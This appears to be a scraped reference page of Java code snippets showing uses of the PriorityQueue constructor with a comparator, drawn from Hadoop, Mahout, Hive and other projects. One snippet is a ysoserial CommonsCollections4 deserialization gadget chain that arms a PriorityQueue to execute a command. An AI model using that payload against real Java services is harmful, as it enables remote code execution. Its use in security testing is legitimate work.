Example usage for java.util PriorityQueue PriorityQueue

Introduction

In this page you can find the example usage for java.util PriorityQueue PriorityQueue.

Prototype

public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) 

Source Link

Document

Creates a PriorityQueue with the specified initial capacity that orders its elements according to the specified comparator.

Usage

From source file:org.petalslink.dsb.federation.core.server.ServiceManagerImpl.java

/**
 * {@inheritDoc}//  ww w . j a  v  a  2s . c  o m
 */
public void start() {

    // first start the internal services...
    if (logger.isDebugEnabled()) {
        logger.debug("Starting internal services");
    }
    PriorityQueue<Service> queue = new PriorityQueue<Service>(this.services.size(), new Comparator());
    for (String name : this.services.keySet()) {
        if ((this.services.get(name) != null) && (this.services.get(name).getType() == Service.TYPE.INTERNAL)) {
            queue.add(this.services.get(name));
        }
    }
    Service s = null;
    while ((s = queue.poll()) != null) {
        this.start(s.getName());
    }

    if (logger.isDebugEnabled()) {
        logger.debug("Starting *bound services");
    }
    queue = new PriorityQueue<Service>(this.services.size(), new Comparator());
    for (String name : this.services.keySet()) {
        if ((this.services.get(name) != null) && (this.services.get(name).getType() != Service.TYPE.INTERNAL)) {
            queue.add(this.services.get(name));
        }
    }
    while ((s = queue.poll()) != null) {
        this.start(s.getName());
    }
}

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From source file:com.joliciel.csvLearner.features.BestFeatureFinder.java

public List<NameValuePair> getBestFeatures(GenericEvents events, String testOutcome, int featureCount) {
    LOG.debug("testOutcome: " + testOutcome);
    List<NameValuePair> bestFeatures = new ArrayList<NameValuePair>();

    RealValueFeatureEvaluator evaluator = new RealValueFeatureEvaluator();
    evaluator.setFeatureSplitter(featureSplitter);
    try {//from w  ww . ja v  a 2  s.  c  om
        Set<String> features = events.getFeatures();

        PriorityQueue<NameValuePair> heap = new PriorityQueue<NameValuePair>(features.size(),
                new NameValueDescendingComparator());
        double eventSpaceEntropy = -1;
        for (String feature : features) {
            List<Double> featureEntropies = evaluator.evaluateFeature(events, feature, testOutcome);
            double informationGain = featureEntropies.get(0)
                    - featureEntropies.get(featureEntropies.size() - 1);
            if (eventSpaceEntropy < 0)
                eventSpaceEntropy = featureEntropies.get(0);
            NameValuePair pair = new NameValuePair(feature, informationGain);
            heap.add(pair);
        }
        bestFeatures.add(new NameValuePair(TOTAL_ENTROPY, eventSpaceEntropy));
        for (int i = 0; i < featureCount; i++) {
            NameValuePair pair = heap.poll();
            if (pair == null)
                break;
            LOG.debug("feature: " + pair.getName() + ", " + pair.getValue());

            bestFeatures.add(pair);
        }
        heap = null;
    } finally {
        evaluator.logPerformance();
    }
    return bestFeatures;
}

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From source file:com.datatorrent.lib.util.TopNUniqueSort.java

/**
 * Constructs and sets values accordingly
 * @param initialCapacity/*from   ww  w  .  j  av a  2s .co m*/
 * @param bound
 * @param flag
 */
public TopNUniqueSort(int initialCapacity, int bound, boolean flag) {
    ascending = flag;
    // Ascending use of pqueue needs a descending comparator
    q = new PriorityQueue<E>(initialCapacity, new ReversibleComparator<E>(flag));
    qbound = bound;
    hmap = new HashMap<E, MutableInt>();
}

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From source file:EntityClustering.MarkovClustering.java

@Override
public List<EquivalenceCluster> getDuplicates(SimilarityPairs simPairs) {
    initializeGraph(simPairs);//from  www  . j  a v  a 2  s  . c o  m
    SimilarityEdgeComparator SEcomparator = new SimilarityEdgeComparator();
    PriorityQueue<SimilarityEdge> SEqueue = new PriorityQueue<SimilarityEdge>(simPairs.getNoOfComparisons(),
            SEcomparator);
    // add an edge for every pair of entities with a weight higher than the threshold
    double threshold = getSimilarityThreshold(simPairs);
    Iterator<Comparison> iterator = simPairs.getPairIterator();
    double[][] simMatrix = new double[noOfEntities][noOfEntities];
    while (iterator.hasNext()) {
        Comparison comparison = iterator.next();
        if (threshold < comparison.getUtilityMeasure()) {
            simMatrix[comparison.getEntityId1()][comparison.getEntityId2() + datasetLimit] = comparison
                    .getUtilityMeasure();
        }
    }
    addSelfLoop(simMatrix);
    Normalize(simMatrix);
    double[][] atStart = new double[noOfEntities][noOfEntities];
    int count = 0;
    do {
        for (int i = 0; i < noOfEntities; i++)
            for (int j = 0; j < noOfEntities; j++)
                atStart[i][j] = simMatrix[i][j];
        expand2(simMatrix);
        Normalize(simMatrix);
        Hadamard(simMatrix, 2);
        Normalize(simMatrix);
        count++;

    } while ((!areSimilar(atStart, simMatrix)) && (count < similarityChecksLimit));

    int n1 = simMatrix.length;
    int upLimit = n1;
    int lowLimit = 0;
    if (datasetLimit != 0) {
        upLimit = datasetLimit;
        lowLimit = datasetLimit;
    }
    for (int i = 0; i < upLimit; i++) {
        for (int j = lowLimit; j < n1; j++) {
            int v1 = i;
            int v2 = j;
            double sim = Math.max(simMatrix[i][j], simMatrix[j][i]);
            if ((sim > clusterThreshold) && (i != j)) {
                similarityGraph.addEdge(v1, v2);
            }
        }
    }

    // get connected components
    ConnectivityInspector ci = new ConnectivityInspector(similarityGraph);
    List<Set<Integer>> connectedComponents = ci.connectedSets();

    // prepare output
    List<EquivalenceCluster> equivalenceClusters = new ArrayList<>();
    for (Set<Integer> componentIds : connectedComponents) {
        EquivalenceCluster newCluster = new EquivalenceCluster();
        equivalenceClusters.add(newCluster);
        if (!simPairs.isCleanCleanER()) {
            newCluster.loadBulkEntityIdsD1(componentIds);
            continue;
        }

        for (Integer entityId : componentIds) {
            if (entityId < datasetLimit) {
                newCluster.addEntityIdD1(entityId);
            } else {
                newCluster.addEntityIdD2(entityId - datasetLimit);
            }
        }

    }
    return equivalenceClusters;
}

---

From source file:org.apache.mahout.classifier.bayes.algorithm.BayesAlgorithm.java

@Override
public ClassifierResult[] classifyDocument(String[] document, Datastore datastore, String defaultCategory,
        int numResults) throws InvalidDatastoreException {
    Collection<String> categories = datastore.getKeys("labelWeight");
    PriorityQueue<ClassifierResult> pq = new PriorityQueue<ClassifierResult>(numResults,
            new ByScoreLabelResultComparator());
    for (String category : categories) {
        double prob = documentWeight(datastore, category, document);
        if (prob > 0.0) {
            pq.add(new ClassifierResult(category, prob));
            if (pq.size() > numResults) {
                pq.remove();/*from   www  .  ja  v a2 s. com*/
            }
        }
    }

    if (pq.isEmpty()) {
        return new ClassifierResult[] { new ClassifierResult(defaultCategory, 0.0) };
    } else {
        List<ClassifierResult> result = new ArrayList<ClassifierResult>(pq.size());
        while (pq.isEmpty() == false) {
            result.add(pq.remove());
        }
        Collections.reverse(result);
        return result.toArray(new ClassifierResult[pq.size()]);
    }
}

---

From source file:com.aliyun.odps.mapred.local.MapOutputBuffer.java

public MapOutputBuffer(JobConf conf, int reduceNum) {

    Column[] key = conf.getMapOutputKeySchema();
    if (key != null) {
        String[] partCols = conf.getPartitionColumns();
        this.partColIdxs = new int[partCols.length];
        Map<String, Integer> reverseLookupMap = new HashMap<String, Integer>();
        int i = 0;
        for (Column c : key) {
            reverseLookupMap.put(c.getName(), i);
            i++;//from ww  w.  java 2 s .c o  m
        }
        i = 0;
        for (String col : partCols) {
            partColIdxs[i] = reverseLookupMap.get(col);
        }

        numReduce = reduceNum;
        String[] sortColumns = conf.getOutputKeySortColumns();
        SortOrder[] sortOrders = conf.getOutputKeySortOrder();
        comparator = new LocalColumnBasedRecordComparator(sortColumns, key, sortOrders);
        buffers = new ArrayList<PriorityQueue<Object[]>>(numReduce);
        for (i = 0; i < numReduce; i++) {
            buffers.add(new PriorityQueue<Object[]>(16, comparator));
        }
    }

}

---

From source file:org.apache.hadoop.hdfs.server.namenode.TestFileJournalManager.java

/**
 * Find out how many transactions we can read from a
 * FileJournalManager, starting at a given transaction ID.
 * //from w ww . ja  v  a  2 s .c  o m
 * @param jm              The journal manager
 * @param fromTxId        Transaction ID to start at
 * @param inProgressOk    Should we consider edit logs that are not finalized?
 * @return                The number of transactions
 * @throws IOException
 */
static long getNumberOfTransactions(FileJournalManager jm, long fromTxId, boolean inProgressOk,
        boolean abortOnGap) throws IOException {
    long numTransactions = 0, txId = fromTxId;
    final PriorityQueue<EditLogInputStream> allStreams = new PriorityQueue<EditLogInputStream>(64,
            JournalSet.EDIT_LOG_INPUT_STREAM_COMPARATOR);
    jm.selectInputStreams(allStreams, fromTxId, inProgressOk);
    EditLogInputStream elis = null;
    try {
        while ((elis = allStreams.poll()) != null) {
            try {
                elis.skipUntil(txId);
                while (true) {
                    FSEditLogOp op = elis.readOp();
                    if (op == null) {
                        break;
                    }
                    if (abortOnGap && (op.getTransactionId() != txId)) {
                        LOG.info("getNumberOfTransactions: detected gap at txId " + fromTxId);
                        return numTransactions;
                    }
                    txId = op.getTransactionId() + 1;
                    numTransactions++;
                }
            } finally {
                IOUtils.cleanup(LOG, elis);
            }
        }
    } finally {
        IOUtils.cleanup(LOG, allStreams.toArray(new EditLogInputStream[0]));
    }
    return numTransactions;
}

---

From source file:org.apache.hadoop.hive.ql.exec.tez.tools.KeyValueInputMerger.java

public KeyValueInputMerger(List<KeyValueReader> multiMRInputs, Deserializer deserializer,
        ObjectInspector[] inputObjInspectors, List<String> sortCols) throws Exception {
    //get KeyValuesReaders from the LogicalInput and add them to priority queue
    int initialCapacity = multiMRInputs.size();
    pQueue = new PriorityQueue<KeyValueReader>(initialCapacity, new KVReaderComparator());
    this.inputObjInspectors = inputObjInspectors;
    this.deserializer = deserializer;
    fieldOIs = new ArrayList<ObjectInspector>();
    structFields = new ArrayList<StructField>();
    StructObjectInspector structOI = (StructObjectInspector) inputObjInspectors[0];
    for (String field : sortCols) {
        StructField sf = structOI.getStructFieldRef(field);
        structFields.add(sf);//  w w w.  j  ava  2  s .  c o  m
        ObjectInspector stdOI = ObjectInspectorUtils.getStandardObjectInspector(sf.getFieldObjectInspector());
        fieldOIs.add(stdOI);
    }
    l4j.info("Initialized the priority queue with multi mr inputs: " + multiMRInputs.size());
    for (KeyValueReader input : multiMRInputs) {
        addToQueue(input);
    }
}

---

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections4.java

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);/*from   w  w  w.  jav  a 2 s. co m*/
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

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From source file:org.apache.hadoop.tools.rumen.DeskewedJobTraceReader.java

/**
 * Constructor.//from  w  ww.j a va2  s.  co  m
 * 
 * @param reader
 *          the {@link JobTraceReader} that's being protected
 * @param skewBufferSize
 *          [the number of late jobs that can preced a later out-of-order
 *          earlier job
 * @throws IOException
 */
public DeskewedJobTraceReader(JobTraceReader reader, int skewBufferLength, boolean abortOnUnfixableSkew)
        throws IOException {
    this.reader = reader;

    this.skewBufferLength = skewBufferLength;

    this.abortOnUnfixableSkew = abortOnUnfixableSkew;

    skewBuffer = new PriorityQueue<LoggedJob>(skewBufferLength + 1, new JobComparator());

    fillSkewBuffer();
}

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